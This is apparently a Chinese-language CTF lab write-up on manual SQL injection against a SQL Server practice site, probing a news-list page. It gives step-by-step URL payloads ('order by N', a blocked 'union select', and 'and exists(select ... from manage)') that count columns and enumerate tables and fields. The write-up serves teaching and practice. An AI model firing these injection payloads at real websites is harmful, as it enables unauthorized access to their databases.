根据题意
SQL注入原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
进入环境,在停机维护发现注入点
页面提交:http://mozhe.cn/new_list.php?id=2 order by N
分析解说:通过SQL语句中order by N 来判断有几个字段,返回内容正常,可以确定有4个字段
页面提交:http://mozhe.cn/new_list.php?id=2 and 1=2 union select 1,2,3……,n
分析解说:通过SQL语句中and 1=2 union select 1,2,3……,n联合查询,判断显示的是哪些字段,就是原本显示标题和内容时候的查询字段。此处返回的是错误页面,说明系统禁止使用union进行相关SQL查询,我们得使用其他方式进行手工SQL注入。
页面提交:http://mozhe.cn/new_list.asp?id=2 and exists(select * from admin)
分析解说:通过SQL语句中的and exists(select * from admin)查询,判断数据库中存在哪些数据库表。此处返回错误页面,说明系统不存在admin数据库表。
页面提交:http://mozhe.cn/new_list.asp?id=2 and exists(select * from manage)
分析解说:通过SQL语句中的and exists(select * from manage)查询,判断数据库中存在哪些数据库表。此处返回正常页面,说明系统存在manage数据库表。
页面提交:http://mozhe.cn/new_list.asp?id=2 and exists(select username from manage)
分析解说:通过SQL语句中的and exists(select username from manage)查询,判断manage数据库表表中存在的字段。此处返回内容为正常页面,说明数据库表中存在username字段。
CTF-SQL手工注入漏洞测试(Sql Server数据库)
最新推荐文章于 2023-12-06 22:31:13 发布
